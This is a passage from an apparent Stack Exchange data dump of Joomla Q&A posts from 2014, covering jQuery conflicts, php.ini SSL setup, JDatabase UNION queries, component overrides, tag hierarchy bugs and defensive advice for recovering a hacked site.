work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i put the script inside the index.php - it didn't work as well...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dunno how to make it work. (I've created the menu as a custom-html module)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;so what should I do ?&lt;/h2&gt;&#xA;" OwnerUserId="494" LastEditorUserId="168" LastEditDate="2014-07-31T08:02:06.343" LastActivityDate="2014-07-31T08:12:05.430" Title="Javascript Menu conflicts" Tags="|joomla-3.3.x|module|javascript|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2297" PostTypeId="2" ParentId="2296" CreationDate="2014-06-14T07:16:14.477" Score="3" Body="&lt;p&gt;Ok one thing with Joomla is never use the &lt;code&gt;$&lt;/code&gt; character for jQuery without making sure it is not conflicting with mootools. Joomla has gotten better but its best to just use &lt;code&gt;jQuery&lt;/code&gt; rather then &lt;code&gt;$&lt;/code&gt; in my opinion. Its far less stressful then the other ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I assume the HTML loads fine? just no Javascript?&#xA;Here are some thoughts to help with that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$(function () {&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch this with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;jQuery(document).ready(function(){&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They both do the same thing in the end, though .ready is easier to see as the &quot;onload&quot; function and makes it less confusing later to add more to it if need be, also as stated above replacing &lt;code&gt;$&lt;/code&gt; with &lt;code&gt;jQuery&lt;/code&gt; can help with mootools compatibility (along with other JS libraries in Joomla).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also use &lt;code&gt;console.log&lt;/code&gt; if there are no errors to track what is not happening. Is the script not loading? Try to include something like &lt;code&gt;console.log('loaded');&lt;/code&gt; right inside the initial function, this should tell you if it loaded the scripts. Then add them to the bind events as well to see if the &lt;code&gt;mouseenter&lt;/code&gt; events are not being called. If it all seems to load then you can split the chain of functions up and &lt;code&gt;console.log&lt;/code&gt; the output to see if it is what you would expect. However this is all based on at least some Javascript know how, however to give a more clear answer I will need to see the HTML for the form as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The rest below is my original post and assumes a normal menu module, did not see that it was custom until I got this far but I am going to leave it since it might help others.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the ID in the menu module is set correctly, inspect the menu to ensure that all id's/ classes are correct as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need a root class then be careful with suffix. It makes you think that it adds a class but it actually adds whatever to the end of the current class, so a space tricks it into adding its own class, separate from the default. This is one problem I have seen on a few websites and custom JS on the menu's. So when creating the menu module, make sure the to use &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot; sdt_menu&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-14T07:16:14.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2299" PostTypeId="1" CreationDate="2014-06-14T15:15:14.393" Score="2" ViewCount="1455" Body="&lt;p&gt;I've Joomla 3.3.1 on localhost, I'm trying to install &quot;Akeeba Backup&quot; from the (install from web under Extension manager) and I'm getting this error.**&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JEvHI.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've &lt;strong&gt;not&lt;/strong&gt; tried to download and upload the .zip file to the extension manager, I want to solve this issue.&lt;/p&gt;&#xA;" OwnerUserId="494" LastEditorUserId="494" LastEditDate="2014-06-15T00:17:18.023" LastActivityDate="2014-06-15T02:01:11.853" Title="0 fsockopen(): Unable to find the socket transport &quot;ssl&quot;" Tags="|extensions|joomla-3.3.x|akeebabackup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2300" PostTypeId="2" ParentId="998" CreationDate="2014-06-14T23:47:55.937" Score="3" Body="&lt;p&gt;Your using the wrong session.  If you follow the logic down the class chain for &lt;code&gt;$mainframe-&amp;gt;initialize&lt;/code&gt; you will find, depending on your version of joomla, a line like&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/application/web.php#L1062&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/application/web.php#L1062&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JSession::getInstance($handler, $options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That session creation call contains the variables in the options tag which define the name of the cookie used for the session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By calling &lt;code&gt;JFactory::getSession()&lt;/code&gt; before initialize you have created a session which most likely has a different cookie name or id number.  Instead use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;$session    = $mainframe-&amp;gt;getSession();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="437" LastEditorUserId="115" LastEditDate="2014-06-16T06:36:32.300" LastActivityDate="2014-06-16T06:36:32.300" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2301" PostTypeId="2" ParentId="648" CreationDate="2014-06-15T00:27:38.033" Score="2" Body="&lt;p&gt;No, it doesn't override the field in place, it overrides the node in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case you are merging &#xA;node:fieldset-&gt;name:advanced&#xA;  node:field-&gt;name:templateBackgroundColor...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;into&#xA;node:fieldset-&gt;name:advanced&#xA;  node:field-&gt;name:templateColor...&#xA;  node:field-&gt;name:templateBackgroundColor...&#xA;....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order of your fieldset node is: templateBackgroundColor&#xA;The order of the original fieldset node is: templateColor, templateBackgroundColor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Confusing because from the wording of the Joomla docs, it implies that it is merging the fields &quot;in place&quot;, but it is merging the xml &quot;in place&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to maintain ordering is to add to your file&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can use a lot of the lower level form api to manipulate the XML.  I don't recommend that because the form API changes from time to time to fix problems in documented functionality vs actual functionality&lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2014-06-15T00:27:38.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2302" PostTypeId="2" ParentId="2299" CreationDate="2014-06-15T02:01:11.853" Score="1" Body="&lt;p&gt;As the error message states, you may not have enabled SSL in your &lt;code&gt;php.ini&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using something like Xampp you will probably need to uncomment at least two lines in the &lt;code&gt;php.ini&lt;/code&gt; file. The first one to check is for the extension directory (&lt;code&gt;extension_dir=&lt;/code&gt;) and the second one will be for the SSL extension ``.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The directory section in &lt;code&gt;php.ini&lt;/code&gt; looks like this, on my dev machine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; Directory in which the loadable extensions (modules) reside.&#xA;; http://php.net/extension-dir&#xA;; extension_dir = &quot;./&quot;&#xA;extension_dir = &quot;/usr/lib/php/extensions/no-debug-non-zts-20100525/&quot;&#xA;; On windows:&#xA;; extension_dir = &quot;ext&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see there's a specific reference for the extension directory on Windows that you may need to uncomment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References to the acutal extensions are further down under a section called &lt;code&gt;Dynamic Extensions&lt;/code&gt; e.g. here's the relevant section from my dev. &lt;code&gt;php.ini&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;;;;;;;;;;;;;;;;;;;;;;&#xA;; Dynamic Extensions ;&#xA;;;;;;;;;;;;;;;;;;;;;;;&#xA;&#xA;; If you wish to have an extension loaded automatically, use the following&#xA;; syntax:&#xA;;&#xA;;   extension=modulename.extension&#xA;;&#xA;; For example, on Windows:&#xA;;&#xA;;   extension=msql.dll&#xA;;&#xA;; ... or under UNIX:&#xA;;&#xA;;   extension=msql.so&#xA;;&#xA;; ... or with a path:&#xA;;&#xA;;   extension=/path/to/extension/msql.so&#xA;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Further down in that block is the &lt;code&gt;Windows Extensions&lt;/code&gt; section which has:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;extension=php_openssl.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Remember two things:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;make a backup of your &lt;code&gt;php.ini&lt;/code&gt; first incase you do something you can't recover from.&lt;/li&gt;&#xA;&lt;li&gt;you will need to restart Apache after you make any changes to php.ini&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-06-15T02:01:11.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2303" PostTypeId="1" AcceptedAnswerId="2304" CreationDate="2014-06-15T14:05:20.387" Score="4" ViewCount="2199" Body="&lt;p&gt;I am trying to select data from multiple &lt;strong&gt;Jdatabase tables&lt;/strong&gt; and use a &lt;strong&gt;IF-ELSE statement&lt;/strong&gt; with this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$user = JFactory::getUser();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('username'))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__table1', '#__table2', '#__table3', '#__table4'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('username') . ' = '. $db-&amp;gt;quote($user-&amp;gt;username));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;&#xA;if($result) {&#xA;echo 'hey you are already there'; &#xA;}&#xA;else {&#xA;echo 'sorry boss, you are out'; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HOW IT SHOULD WORK?&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above query should check whether the &lt;strong&gt;username&lt;/strong&gt; of the current logged-in user is present in any of the four tables &lt;code&gt;('#__table1', '#__table2', '#__table3', '#__table4')&lt;/code&gt; and should accordingly follow the &lt;strong&gt;IF-ELSE STATEMENT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But...&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It only selects records from the first table &lt;code&gt;(#__table1)&lt;/code&gt; and it ignores all other tables! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, if the &lt;strong&gt;username&lt;/strong&gt; is already present in &lt;code&gt;(#__table2), (#__table3),(#__table4)&lt;/code&gt; and not in the first table &lt;code&gt;(#__table1)&lt;/code&gt; , it still jumps to &lt;strong&gt;ELSE STATEMENT&lt;/strong&gt; which means it only checks for the &lt;strong&gt;username&lt;/strong&gt; in the first table!? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guesses on how to make it select records from all the four tables?&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="383" LastEditDate="2014-06-15T17:57:53.470" LastActivityDate="2014-06-15T20:43:29.480" Title="Selecting data from multiple JDatabase tables?" Tags="|jdatabase|fix-my-code|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2304" PostTypeId="2" ParentId="2303" CreationDate="2014-06-15T20:27:19.423" Score="5" Body="&lt;p&gt;To check for a value in multiple tables that do not have a relationship you are going to need either to make multiple queries, 1 for each table, or better make a UNION query.&#xA;Now, Joomla has the UNION database methods, but those work only on Joomla 3.3 and later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The concept of the query you are going to need for your case should be similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT `username`&#xA;FROM `#__table1`&#xA;WHERE `username` = $user-&amp;gt;username&#xA;UNION (&#xA;SELECT `username`&#xA;FROM `#__table2`&#xA;WHERE `username` = $user-&amp;gt;username)&#xA;UNION (&#xA;SELECT `username`&#xA;FROM `#__table3`&#xA;WHERE `username` = $user-&amp;gt;username)&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure you will use the Joomla methods to add quotes to your query.&#xA;Then check if there is result with the loadResult() Method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For JOOMLA 3.3 and later (and possibly soon for the latest J2.5 version)&lt;/strong&gt;&lt;br /&gt;&#xA;Now, if you are on Joomla 3.3, you can use the UNION methods like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query2 = $db-&amp;gt;getQuery(true);&#xA;$query3 = $db-&amp;gt;getQuery(true);&#xA;$query4 = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('username'))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__table1'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('username') . ' = '. $db-&amp;gt;quote($user-&amp;gt;username));&#xA;&#xA;$query2-&amp;gt;select($db-&amp;gt;quoteName('username'))&#xA;       -&amp;gt;from($db-&amp;gt;quoteName('#__table2'))&#xA;       -&amp;gt;where($db-&amp;gt;quoteName('username') . ' = '. $db-&amp;gt;quote($user-&amp;gt;username));&#xA;&#xA;$query3-&amp;gt;select($db-&amp;gt;quoteName('username'))&#xA;       -&amp;gt;from($db-&amp;gt;quoteName('#__table3'))&#xA;       -&amp;gt;where($db-&amp;gt;quoteName('username') . ' = '. $db-&amp;gt;quote($user-&amp;gt;username));&#xA;&#xA;$query4-&amp;gt;select($db-&amp;gt;quoteName('username'))&#xA;       -&amp;gt;from($db-&amp;gt;quoteName('#__table4'))&#xA;       -&amp;gt;where($db-&amp;gt;quoteName('username') . ' = '. $db-&amp;gt;quote($user-&amp;gt;username));&#xA;&#xA;$query-&amp;gt;union($query2)-&amp;gt;union($query3)-&amp;gt;union($query4); // Union method allows you to chain the union queries!!&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps. &lt;br /&gt;* It is possible that there might be some syntax/parse errors, as I wrote this on here. Let me know if you encounter any such problem so I can correct my answer.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-06-15T20:43:29.480" LastActivityDate="2014-06-15T20:43:29.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2305" PostTypeId="1" AcceptedAnswerId="4316" CreationDate="2014-06-16T05:54:48.987" Score="10" ViewCount="5366" Body="&lt;p&gt;I have a Joomla 2.5 website. Yesterday I was not able to login administrator panel. I checked out users table. I was shocked when I saw that all the users' username field were '&lt;strong&gt;admin&lt;/strong&gt;' and passwords were '&lt;strong&gt;268e27056a3e52cf3755d193cbeb0594&lt;/strong&gt;'. I generally do not use unfamous/unreliable third party extensions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone here who has encountered the same issue? If yes, can you tell me what the reason is and what the solution is?&lt;/p&gt;&#xA;" OwnerUserId="440" LastEditorUserId="1532" LastEditDate="2014-06-16T20:59:31.167" LastActivityDate="2019-09-07T08:48:46.983" Title="What to do if my Joomla website got hacked?" Tags="|security|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2307" PostTypeId="2" ParentId="2305" CreationDate="2014-06-16T06:31:48.937" Score="8" Body="&lt;p&gt;What I recommend you do straight away is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new installation of Joomla on a subdomain or localhost, &lt;/li&gt;&#xA;&lt;li&gt;Create a super user account with a &lt;strong&gt;strong&lt;/strong&gt; password&lt;/li&gt;&#xA;&lt;li&gt;Copy the password hash from the &lt;code&gt;#__users&lt;/code&gt; table from your newly created account and replace the old one.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how the hashes and usernames were changed but it could be down a few reasons. Always ensure you are running the latest version of Joomla and the latest version of extensions. There are quite a few extensions out there that makes sites vulnerable to SQL injections. I can't stress how important keeping things up to date is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to start considering migrating to Joomla 3.3 soon as possible, as this version provides one of the most secure password encryption methods (bcrypt).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as @Brian has mentioned, updating your database password to something stronger is highly recommended. Another good thing to take into consideration is also changing your database table prefixes. A lot of Joomla sites use &lt;code&gt;jos_&lt;/code&gt; which you can change to something a bit more unique using an extension such as Admin Tools which was mentioned in the other answer&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-06-16T14:37:53.077" LastActivityDate="2014-06-16T14:37:53.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2308" PostTypeId="2" ParentId="2282" CreationDate="2014-06-16T07:57:21.507" Score="0" Body="&lt;p&gt;Found the answer. It's because there is another menu item that is linked to the same category list. So somehow it detect conflicts and didn't add the alias of category.&lt;/p&gt;&#xA;" OwnerUserId="1522" LastActivityDate="2014-06-16T07:57:21.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2309" PostTypeId="2" ParentId="2247" CreationDate="2014-06-16T08:26:46.147" Score="2" Body="&lt;p&gt;I would recommend using Joomla over WordPress, that said it doesn't answer your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't make one CMS run inside the other. They will have to be two separate systems, and you will need to create a template for Joomla to match WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The way I would do it is as such:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have WP installed on your root, then create a sub folder - something like products or store in which to install Joomla 3.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So accessing your store would be by going to www.example.com/products&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to manually add links to each site and it will be harder to maintain. If you have PHP/MySQL experience on the Joomla template you could create a query to the WP database to get article information so you could have &quot;latest news&quot; or something in the side coloumn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Two side notes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Don't try and have users get confused. Either register them on Joomla, or WP. Trying to do both will make it messy (if you even what user registration that is)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If you do use Joomla, and use a decent backup software like Akeeba then also get it to backup your WP database.&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2014-06-16T08:26:46.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2310" PostTypeId="1" AcceptedAnswerId="2312" CreationDate="2014-06-16T08:56:06.207" Score="4" ViewCount="682" Body="&lt;p&gt;I know these are the core files of the component and I don't want to change them directly. So I'm looking for some way, like OpenCart's VQMod, to create an override, can I use HTML overrides for that purpose?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been to the component developer and they are not helpful.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2014-06-16T09:05:24.340" LastActivityDate="2014-06-16T12:24:57.160" Title="Can I use HTML overrides to override a file located in /components/administrator/componentname/helper/?" Tags="|component|overrides|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2311" PostTypeId="2" ParentId="2310" CreationDate="2014-06-16T10:08:42.193" Score="1" Body="&lt;p&gt;You can't create overrides for the helpers files with the same way like the template overrides work.&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what you could do, with a template override, is that you can bypass the mvc pattern of the component and add any code you want in your custom view's file. &lt;br /&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example you can create a template override for a specific view of the component, and in your template you can &quot;talk&quot; directly with the database and fetch the items you want, the way you want.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-06-16T10:35:38.397" LastActivityDate="2014-06-16T10:35:38.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2312" PostTypeId="2" ParentId="2310" CreationDate="2014-06-16T12:24:57.160" Score="4" Body="&lt;p&gt;If the &lt;strong&gt;Helper&lt;/strong&gt; Class is loaded in a dynamic way, checking if it's already loaded, YES. You can override it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not with a HTML overrides, but with a &lt;strong&gt;System Plugin&lt;/strong&gt;. You can create a System plugin, loading same &lt;strong&gt;Helper&lt;/strong&gt; Class before the original one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, check this related question:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/205/how-to-override-core-classes&quot;&gt;How to override core classes?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-06-16T12:24:57.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2313" PostTypeId="2" ParentId="2305" CreationDate="2014-06-16T14:23:52.753" Score="6" Body="&lt;p&gt;This can be something very frustrating, sometimes a site can not stay updated for various reasons, though for the best help, please include the full version, like 2.5.9 or something. If you have already removed extensions as a possibility then an older version of Joomla could be the reason. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have seen something similar on our sites before, was it on a shared server? This can happen even in a clean site on a shared server, if one account on the shared server gets hit, it could compromise the entire server. There is not much you can do about it either, nothing Joomla has can prevent such an exploit and its one reason why shared hosts can be problematic. Though this depends on the host, ones like siteground or hostgator are pretty good at keeping their infrastructure intact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would recommend doing a malware scan to see what it picks up, most likely if they hit your database like that then they have a lot of files injected. &lt;strong&gt;Its best to restore from backup in this case and update, then malware scan.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also look into Admin tools by akeeba, it has some useful tools to secure your site.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-16T14:23:52.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2315" PostTypeId="2" ParentId="586" CreationDate="2014-06-17T08:27:49.557" Score="1" Body="&lt;p&gt;Any Joomla website and to extend this a bit, any kind of software, especially open source ones and those that are publicly exposed, should be up to date, to ensure maximum security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla's current maintainable versions are Joomla 2.5 and Joomla 3.3. &#xA;&lt;strong&gt;Joomla 1.6 and 1.7 were short term releases&lt;/strong&gt; and we could say they were like the path from version 1.5 to 2.5. They were not meant to stay for long, they are &lt;strong&gt;not maintained (= no security patches, no bug fixes, no extensions support)&lt;/strong&gt;, thus they can't be used any more on production. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The updates, apart of the fact that they may add new features, they deal with known vulnerabilities and security issues. Those vulnerabilities are well-known to the public, therefore an older version of the software can easily be compromised. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another condition, we should have in mind, is that 3rd party extensions are not also maintained for such older versions, giving even more space to vulnerabilities and other possible incompatibilities with the server software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, upgrading from 1.6, 1.7 to 2.5 and 3.3 is kind an easy task. But keep in mind that this is dependent on the specific conditions of each website, the 3rd party extensions and the possible level of customization and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is strongly recommended to not try to upgrade directly on the live website, and always keep a working backup of the website.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-07-11T09:49:54.637" LastActivityDate="2016-07-11T09:49:54.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2316" PostTypeId="2" ParentId="2305" CreationDate="2014-06-17T11:31:25.460" Score="9" Body="&lt;p&gt;To keep you website always secured, you need a strict security policy:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Update Joomla to the latest version&lt;/li&gt;&#xA;&lt;li&gt;Use ONLY themes from well-known developers (no exceptions), AND update to the latest version&lt;/li&gt;&#xA;&lt;li&gt;Use ONLY extensions from well-known developers (no exceptions), AND update to the latest version&lt;/li&gt;&#xA;&lt;li&gt;Implement a security extension for Joomla Hardening (Akeeba Admin is a must, and it's free)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please, check this security checklist:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security Checklist/You have been hacked or defaced&lt;/strong&gt;&#xA;&lt;a href=&quot;http://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced&quot;&gt;http://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Safe route for disaster relief&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;a. save the configuration.php file and your images and personal files one by one, (not the folder as it may contain unwanted files)&#xA;  b. wipe the entire folder where Joomla! is installed&#xA;  c. upload a new clean full package latest version of joomla 1.5.x or Joomla 2.5.x, joomla 3.x (minus the install folder)&#xA;  d. reupload your configuration file &amp;amp; images.&#xA;  e. reupload or reinstall the latest versions of your extensions , templates (even better is to use original clean copies to ensure that the hacker/defacer did not leave any shell script files in your site)&#xA;  f. To do this will take your site off line for around 15 minutes. To track down your hacked/defaced html may take hours or even longer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-06-17T11:31:25.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2317" PostTypeId="1" AcceptedAnswerId="2320" CreationDate="2014-06-17T12:34:11.203" Score="3" ViewCount="579" Body="&lt;p&gt;I'm using 3.3.0 and started playing with the tags.  I've noticed that all of the tags recently created have the Joomla tag as their parent.  When I edit the tag, the Parent pull down menu is set to None; however if I Unpublish the Joomla tag, then the subsequent tags get unpublished as well (and cannot be published until I publish the Joomla tag).  Is this expected behavior?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some screen shots&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Components =&gt; Tags&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've unpublished the tag Joomla which also unpublishes most of my other tags (oddly, not the Baking, although that one was added at a different time than the others, leading me to believe that something has changed in the meantime).  If I click on the status of SciLab, it will not change.  If I toggle the status of Joomla, all (save for Baking) follow suit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lAmZY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Components =&gt; Tags =&gt; SciLab&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No parent is set.  Here I can publish the tag, and it seems to persist until I toggle the Joomla tag; Joomla is still behaving like the parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pvix9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Components =&gt; Tags =&gt; Baking&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why baking isn't sharing the fate of all my other tags is beyond me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eqPui.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In response to answer by @FFrewin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of my jos_tags table.  It looks as if there are problems with the lft/rgt values.  Additionally, the Path shows that Joomla is the parent of &lt;em&gt;all&lt;/em&gt; the tags, even though Baking is not behaving as if it has a parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KsK6F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="79" LastEditorUserId="79" LastEditDate="2014-06-17T17:24:15.683" LastActivityDate="2022-10-28T11:18:48.013" Title="Unexpected parent tag association" Tags="|joomla-3.3.x|tags|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
